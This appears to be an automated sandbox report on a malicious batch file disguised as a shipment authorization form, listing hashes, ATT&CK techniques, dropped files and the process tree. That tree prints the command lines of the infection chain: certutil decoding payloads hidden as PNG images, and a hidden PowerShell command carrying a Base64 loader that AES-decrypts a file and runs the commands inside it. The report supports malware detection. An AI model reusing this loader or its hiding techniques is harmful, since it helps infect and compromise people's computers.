9f2d39b756c97350dcf7dd2db86ac3c7e94d31f1c49190eedf0157ba081b5cdf

Analysis

max time kernel
298s
max time network
290s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Customer_Authorization_Form_Shipment.bat
Size 10.6MB
Sample260602-wlrvcsds3n
SHA256 9f2d39b756c97350dcf7dd2db86ac3c7e94d31f1c49190eedf0157ba081b5cdf
MD5 b73cb1fd960fc119cdcebbcf644ea77f
SHA1 4ec50fc86512b5f1cc22673b0fbd43d6cd115bc0
SHA512 52d62819b9f2dbb68fa84189c4f91fba8155579382b664ba9e74f6b7302a22f95b73f991793ca8cbfef79d0e5b4a9b06174263395257a1829a209e2415eada27
SSDEEP 49152:2TuX4QEujVQVRtsfGH32zbDc8Wp7YFde3BWzjnre2cL6lr7TXw1TvGsSEh5Itsq4:i
TLSH
T16EB6012504942FE9CA58273CF17A320D5BE4154B4E65628EBB6FEE067FFAC184D270B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3376	powershell.exe
4708	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4228	certutil.exe
3412	certutil.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe
4708	powershell.exe
4708	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 2492	1536	cmd.exe	81
PID 1536 wrote to memory of 4988	1536	cmd.exe	82
PID 4988 wrote to memory of 1804	4988	cscript.exe	83
PID 1804 wrote to memory of 4228	1804	cmd.exe	85
PID 1804 wrote to memory of 3376	1804	cmd.exe	86
PID 1804 wrote to memory of 3412	1804	cmd.exe	87
PID 1804 wrote to memory of 4708	1804	cmd.exe	88
PID 4708 wrote to memory of 1640	4708	powershell.exe	89
PID 1640 wrote to memory of 4804	1640	csc.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Customer_Authorization_Form_Shipment.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd
  2⤵
  PID:2492
- C:\Windows\system32\cscript.exe
  cscript.exe //nologo "C:\Users\Admin\AppData\Local\Temp\~run.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Customer_Authorization_Form_Shipment.bat" hidden
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\certutil.exe
      certutil -f -decode "C:\Users\Public\Xrio.png" "C:\Users\Public\Xrio.png.tmp"
      4⤵
      Deobfuscate/Decode Files or Information
      PID:4228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -nop -c "iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('')))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3376
  - - C:\Windows\system32\certutil.exe
      certutil -f -decode "C:\Users\Public\Orio.png" "C:\Users\Public\Orio.png.tmp"
      4⤵
      Deobfuscate/Decode Files or Information
      PID:3412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -nop -c "iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABpAG4AcAB1AHQAQgBhAHMAZQA2ADQARgBpAGwAZQBQAGEAdABoACAAPQAgACIAQwA6AFwAVQBzAGUAcgBzAFwAUABVAEIATABJAEMAXABYAHIAaQBvAC4AcABuAGcAIgANAAoADQAKACMAIABDAHIAZQBhAHQAZQAgAGEAIABuAGUAdwAgAEEARQBTACAAbwBiAGoAZQBjAHQADQAKACQAYQBlAHMAXwB2AGEAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkADQAKAA0ACgAjACAAUwBlAHQAIABBAEUAUwAgAHAAYQByAGEAbQBlAHQAZQByAHMADQAKACQAYQBlAHMAXwB2AGEAcgAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwANAAoAJABhAGUAcwBfAHYAYQByAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AA0ACgAkAGEAZQBzAF8AdgBhAHIALgBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAxAGoAVABvAHEARwBxAHIAWgBWADUAagBLAEkAeQAyAFgAdQBEAHcARwBzAGkASQBuAGkANQArAGoAagBvAE8AaABQAEQAegAzAGkAWQBRAHkAcgBVAD0AJwApAA0ACgAkAGEAZQBzAF8AdgBhAHIALgBJAFYAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASgBPACsAegBHAGEAeABIAFcAbABlAFAALwBpAFYAbgBWAEMAbQBMAGoAZwA9AD0AJwApAA0ACgANAAoAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAEIAYQBzAGUANgA0AC0AZQBuAGMAbwBkAGUAZAAgAGUAbgBjAHIAeQBwAHQAZQBkACAAZABhAHQAYQANAAoAJABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGkAbgBwAHUAdABCAGEAcwBlADYANABGAGkAbABlAFAAYQB0AGgAKQANAAoADQAKACMAIABDAG8AbgB2AGUAcgB0ACAAQgBhAHMAZQA2ADQAIABzAHQAcgBpAG4AZwAgAHQAbwAgAGIAeQB0AGUAIABhAHIAcgBhAHkADQAKACQAZQBuAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACkADQAKAA0ACgAjACAAQwByAGUAYQB0AGUAIABhACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AIABmAHIAbwBtACAAdABoAGUAIABlAG4AYwByAHkAcAB0AGUAZAAgAGIAeQB0AGUAIABhAHIAcgBhAHkADQAKACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AOgA6AG4AZQB3ACgAKQANAAoADQAKACMAIABXAHIAaQB0AGUAIAB0AGgAZQAgAGUAbgBjAHIAeQBwAHQAZQBkACAAYgB5AHQAZQBzACAAdABvACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ADQAKACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAHIAeQBwAHQAZQBkAEIAeQB0AGUAcwAsACAAMAAsACAAJABlAG4AYwByAHkAcAB0AGUAZABCAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAA0ACgAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAC4AUABvAHMAaQB0AGkAbwBuACAAPQAgADAAIAAgACMAIABSAGUAcwBlAHQAIAB0AGgAZQAgAHAAbwBzAGkAdABpAG8AbgAgAGYAbwByACAAcgBlAGEAZABpAG4AZwANAAoADQAKACMAIABDAHIAZQBhAHQAZQAgAGEAIABkAGUAYwByAHkAcAB0AG8AcgANAAoAJABkAGUAYwByAHkAcAB0AG8AcgAgAD0AIAAkAGEAZQBzAF8AdgBhAHIALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkADQAKAA0ACgAjACAAQwByAGUAYQB0AGUAIABhACAAQwByAHkAcAB0AG8AUwB0AHIAZQBhAG0AIABmAG8AcgAgAGQAZQBjAHIAeQBwAHQAaQBvAG4ADQAKACQAYwByAHkAcAB0AG8AUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQAoACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ALAAgACQAZABlAGMAcgB5AHAAdABvAHIALAAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtAE0AbwBkAGUAXQA6ADoAUgBlAGEAZAApAA0ACgANAAoAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAGQAZQBjAHIAeQBwAHQAZQBkACAAZABhAHQAYQAgAGYAcgBvAG0AIAB0AGgAZQAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtAA0ACgAkAHMAdAByAGUAYQBtAFIAZQBhAGQAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAJABjAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQApAA0ACgAkAGQAZQBjAHIAeQBwAHQAZQBkAFMAdAByAGkAbgBnACAAPQAgACQAcwB0AHIAZQBhAG0AUgBlAGEAZABlAHIALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkADQAKAA0ACgAjACAAQwBsAG8AcwBlACAAcwB0AHIAZQBhAG0AcwANAAoAJABjAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkADQAKACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0ALgBDAGwAbwBzAGUAKAApAA0ACgAkAHMAdAByAGUAYQBtAFIAZQBhAGQAZQByAC4AQwBsAG8AcwBlACgAKQANAAoADQAKACMAIABQAHIAaQBuAHQAIAB0AGgAZQAgAGQAZQBjAHIAeQBwAHQAZQBkACAAcgBlAHMAdQBsAHQADQAKACMAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEQAZQBjAHIAeQBwAHQAZQBkACAAcgBlAHMAdQBsAHQAOgAiAA0ACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACQAZABlAGMAcgB5AHAAdABlAGQAUwB0AHIAaQBuAGcADQAKAA0ACgAjACAAUwBwAGwAaQB0ACAAdABoAGUAIABkAGUAYwByAHkAcAB0AGUAZAAgAHMAdAByAGkAbgBnACAAaQBuAHQAbwAgAGMAbwBtAG0AYQBuAGQAcwAgAGEAcwBzAHUAbQBpAG4AZwAgAHQAaABlAHkAIABhAHIAZQAgAHMAZQBwAGEAcgBhAHQAZQBkACAAYgB5ACAAYQAgAG4AZQB3AGwAaQBuAGUADQAKACMAJABjAG8AbQBtAGEAbgBkAHMAIAA9ACAAJABkAGUAYwByAHkAcAB0AGUAZABTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAIgBgAG4AIgANAAoADQAKACMAIABFAHgAZQBjAHUAdABlACAAZQBhAGMAaAAgAGMAbwBtAG0AYQBuAGQADQAKACMAIABTAHAAbABpAHQAIAB0AGgAZQAgAGQAZQBjAHIAeQBwAHQAZQBkACAAcwB0AHIAaQBuAGcAIABpAG4AdABvACAAYwBvAG0AbQBhAG4AZABzACAAYQBzAHMAdQBtAGkAbgBnACAAdABoAGUAeQAgAGEAcgBlACAAcwBlAHAAYQByAGEAdABlAGQAIABiAHkAIABhACAAbgBlAHcAbABpAG4AZQANAAoAJABjAG8AbQBtAGEAbgBkAHMAIAA9ACAAJABkAGUAYwByAHkAcAB0AGUAZABTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAIgBgAG4AIgANAAoADQAKACMAIABFAHgAZQBjAHUAdABlACAAZQBhAGMAaAAgAGMAbwBtAG0AYQBuAGQADQAKAGYAbwByAGUAYQBjAGgAIAAoACQAZQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAaQBuACAAJABjAG8AbQBtAGEAbgBkAHMAKQAgAHsADQAKACAAIAAgACAAdAByAHkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIwAgAFQAcgBpAG0AIABhAG4AeQAgAHcAaABpAHQAZQBzAHAAYQBjAGUADQAKACAAIAAgACAAIAAgACAAIAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAuAFQAcgBpAG0AKAApAA0ACgANAAoAIAAgACAAIAAgACAAIAAgACMAIABWAGEAbABpAGQAYQB0AGUAIABjAG8AbQBtAGEAbgBkACAAKABvAHAAdABpAG8AbgBhAGwALAAgAGEAZABqAHUAcwB0ACAAYQBzACAAbgBlAGUAZABlAGQAKQANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgAFsAcwB0AHIAaQBuAGcAXQA6ADoASQBzAE4AdQBsAGwATwByAFcAaABpAHQAZQBTAHAAYQBjAGUAKAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAApACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAAVgBhAGwAaQBkAGEAdABlACAAaQBmACAAaQB0ACAAaQBzACAAYQAgAEIAYQBzAGUANgA0ACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABlAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAtAG0AYQB0AGMAaAAgACcAXgBbAEEALQBaAGEALQB6ADAALQA5ACsALwA9AF0AKwAkACcAIAAtAGEAbgBkACAAKAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACAAJQAgADQAIAAtAGUAcQAgADAAKQApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAARABlAGMAbwBkAGUAIAB0AGgAZQAgAEIAYQBzAGUANgA0ACAAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAApACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAGQAbwBuAGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAARQB4AGUAYwB1AHQAZQAgAHQAaABlACAAZABlAGMAbwBkAGUAZAAgAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGUAYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFMAawBpAHAAcABlAGQAIABpAG4AdgBhAGwAaQBkACAAQgBhAHMAZQA2ADQAIABjAG8AbQBtAGEAbgBkADoAIAAkAGUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACMAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFMAawBpAHAAcABlAGQAIABhAG4AIABlAG0AcAB0AHkAIABjAG8AbQBtAGEAbgBkAC4AIgANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIwAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACgAIgBFAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAGMAbwBtAG0AYQBuAGQAOgAgAHsAMAB9ACIAIAAtAGYAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAKQANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoA')))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4708
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aiz4ewnz\aiz4ewnz.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1640
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES794D.tmp" "c:\Users\Admin\AppData\Local\Temp\aiz4ewnz\CSCC071B117A6E48B58FEA322C469A72CA.TMP"
        6⤵
        
        PID:4804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
MD5 a766b59cb8764029e0daa42ff2d21c3f
SHA1 9ca2e4735a93ab8ddf2d8e6928f1c570aa4ff80b
SHA512 e92fe19a450bc93cfcbaed70586d580470d239cd41997e0bdebdb45f1b6ba02604b4e839ab6ee40d5112ba683c647ecd10751183ab2f89226994e17680c52eae
TLSH
T1DA117A33B79CC135C8D9157A108DAD01B2B5C3CB049EDE8B7A84C509E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

RES794D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES794D.tmp
Size 1KB
SHA256 ea1d7d3dd9b6e173338f1d62e6634660066c4af5ac6709465e8be41c4ff3ffb9
MD5 6e47061dcd2b7b0f76958665bcaec2e2
SHA1 6c50cf242d56acdf6654f34111805ef2dc6d0a4d
SHA512 cacac954ccc2b0f9482c60087f7722a5069235c0b435990fa3f76f2366fb79eef9ca6bdca4ce54ce9ebfb88328c76c60d003aff77293255d23a70e759de47622
TLSH
T10721AB0893E98B1EF0B75731A9F6133FA224FD94EFA2539E8541522C2C50514EEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4ucf2nmp.ow1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ucf2nmp.ow1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

aiz4ewnz.dll

Path C:\Users\Admin\AppData\Local\Temp\aiz4ewnz\aiz4ewnz.dll
Size 4KB
SHA256 544aaf8c6abfde178d9963ade4a7f9aa3aa52961644b365bef6271b641e185ba
MD5 c885110af6f607ad186db138e7906bda
SHA1 e63aa57e4bad2dde98117c742b4e0280e5b2ae9a
SHA512 8f82c8af4ea908b55231035c72ade2eaf3ff9a4be8f3882dd46bde96e18b4b073ab11e68dae69fc66d96ba64a906d170dad0eaa92177dba47a2158045ac199f5
SSDEEP 48:6cp3pnyqiUmIklFyKm87SDypr9+b+lV71JC924h1ulga38q:pX+yK97WyprL42TeK
TLSH
T10091750647D44226E0F70B349FF34713A360F8546B775B2F45A951385DB33182B313A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~run.vbs

Path C:\Users\Admin\AppData\Local\Temp\~run.vbs
Size 141B
SHA256 0c1402eba5fbc8273e165acbc49dff2ba2c1653e1526eef8bdf457e852310e06
MD5 e233fda521d9e38c950d6db991202b05
SHA1 7e5c63b3c475bc600436429802289b3d078d28ed
SHA512 d9460fbd29fda7a3c0bd440f91dce81da2c5c474e08f15be2107d26bf89879916d8e8d3d66e5e46431e0370be810736f82e52d2f29ba0f2c249dec52a74bf302
TLSH
T1D3C02B249468C17D3026C2AB0D74C10DC8F3CC4816002B161F10C80C90738C1D68B701
MD5 SHA1 SHA512 TLSH

Submit Download

Orio.png

Path C:\Users\Public\Orio.png
Size 10.3MB
SHA256 1d0d68a7746467fbf51aa1e9b314baa541551198363e3a99673ffe29171204c6
MD5 f76693240bc8e658b7be4f37e54dd770
SHA1 891ceb1b4de84dc010f944ad5a1520d7bfad4010
SHA512 a6e501c9196ae2fa3ddd50eaade96a3b93825d20320b75bf6029f59de94756597baddc519f2ec027e7f8ac687cbf54d4ed4d4661eacb450f2ec260ec6ea47a96
SSDEEP 49152:paoW+rgBjRE5M9Un6a0L8lBAbzotJTZqAohg7x7Z5MDZokWedN2n/PzR0zPNsPB1:T
TLSH
T1FDB6E125CDA0ABD1CEFE570D90BB279913F08AD61801A39AD753FD412FEA9504E370B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Orio.png.tmp

Path C:\Users\Public\Orio.png.tmp
Size 7.4MB
SHA256 7c10977d2bd67f86c9d620cb3145bfb1b4de076e590a736b9c97a0bad8cdbad2
MD5 6ae1b8e34574f9032c737af4a4b84910
SHA1 59247e354b9e046543706d21fe01f3658da6d851
SHA512 69f4351c39658fe2c67f731b6b5ac409d75bd86ee7c6ca3b9d7e2398ba61e926d8c6cde5b20bb9f64fd903f6b5889766fb0e38f72149ff6402dd67ce948c5978
SSDEEP 49152:Ueh6i42K/6+a2ZIGJEavha9dae3SVFhfrYqVz8wtmXMiDG3a9IjEmp6Ynqadnqcf:w
TLSH
T1707633105F697CBE06A8533930BF6E2E1BE14F81C46CF5D903D264EA239EF81552B47A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Xrio.png

Path C:\Users\Public\Xrio.png
Size 355KB
SHA256 36c0645bfb20fbbc416cdf3b2789c9d353a50b5621b4c9d99c73d84725cc83f8
MD5 9837d004c89da34e5d674c3222ea175b
SHA1 80209796d63a3a4ebd0876263e7853b1db5b3acd
SHA512 0f640bc2ac7345fd3395606de2d091eeffe254fd973a99257ea36172a06b33311fe0f0a8479181ce091fc906a2dac03ba80f5b5d089d9424f930b4a524d44fc1
SSDEEP 6144:FwPRkj8I2wPVvqFwwPx1TA7zAczIeQuTvDKqn8nwJ+AoK3CuyPbPLLv72IPye9:QArlFC5PLTez5TvLnmXAo2CuyPPLv7PN
TLSH
T14874E128CD9097D1CEFE630EE0B726DD13B08AD61811539A9793FE426FDAD510A364F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Xrio.png.tmp

Path C:\Users\Public\Xrio.png.tmp
Size 255KB
SHA256 cb380ecefa3657312d3c06e320c7fa5d1ac0511a96faa7f932f3e6b09d9f66ac
MD5 640cbd4e7ca7b19616984fe73687f98b
SHA1 5c090e6596e901e45e0799a33b721e1321e214b6
SHA512 852cad2d3452624162958d7a37828a174f6f919563990ddf13b7bb44f0fd0ace5f861b824ae751efd8c3b5eca4f77adfc07db2f61b2b5178977b78fd4ab3c46a
SSDEEP 6144:bEmxs57HmNhiYf0L5XpOm041yTWI+Sr2DXVpA4:Ds57MIYf0lSTWITr2DXVy4
TLSH
T16A4423335FA43F428664C75769BFFE6F60940EA134EEB45B6BE3D04766A1F402427620
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCC071B117A6E48B58FEA322C469A72CA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\aiz4ewnz\CSCC071B117A6E48B58FEA322C469A72CA.TMP
Size 652B
SHA256 89041f056dbf5f7a19ff00ab44d4eacbea632af4f7cbc1fccb6e8ee00fa625a9
MD5 af0669ffada107a0c38dc04aac6f2014
SHA1 1119671b60c6b771e7bf2896a3deeef1ab97ad5d
SHA512 8674a2788054f605c4de355c8741b03858896db3011486c0066b6f0436358f3a3ccb69f1e8dc557bfa25c9dd763ee85c59cc67454a99711696e542ab5084071c
TLSH
T18BF05E49A3F8520EF4F34B30BDF6436391A8BC64DE3293ED1441131928645208972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

aiz4ewnz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\aiz4ewnz\aiz4ewnz.0.cs
Size 1KB
SHA256 e4dd7539249344e6b8f63b9ab1690dde7e81832f816c0b3899ab69830f977649
MD5 5056e447974a9296887d7578d97578de
SHA1 f623cf46ca8c7f4ea04194f514569b624c40eba1
SHA512 93c5a8496f9aae1f0ba7e5133e4855330b6bfe3b998cfbfad366b5d5c43be75b001a85ec5b92a24eb2e9f9ce1941ec573d9370848056f2edfd04fa8a1700a20a
TLSH
T13F4146211316BA2524E3891D6A8AD4DFF103A0BB3AFE6C04317D03614F57149963AB5F
MD5 SHA1 SHA512 TLSH

Submit Download

aiz4ewnz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\aiz4ewnz\aiz4ewnz.cmdline
Size 369B
SHA256 00a74af9d5dc5545c928a6848c7685d984c227599de6b1307fcc694c33fb5367
MD5 e696ebbeb22208f2b0fbe247161a597d
SHA1 0b1505ae5e946bce57b258fa450fc995cc23ae23
SHA512 54a2f3c1ee73e7f47cb527d1426c6f202832b7445640a57140eab576c504daeac7389c8cc4586d9794018097fd25695a8deb519220256b2762418c489f71b80c
TLSH
T1C0E0DF3A53D6C67D95EE200B236AC5AE867206CB39C17F889958C45DE0370086BD279A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3376-11-0x000001AF3C330000-0x000001AF3C352000-memory.dmp

Download

memory/4708-36-0x0000015BEFAF0000-0x0000015BEFB0C000-memory.dmp

Download

memory/4708-35-0x0000015BEFAA0000-0x0000015BEFAAA000-memory.dmp

Download

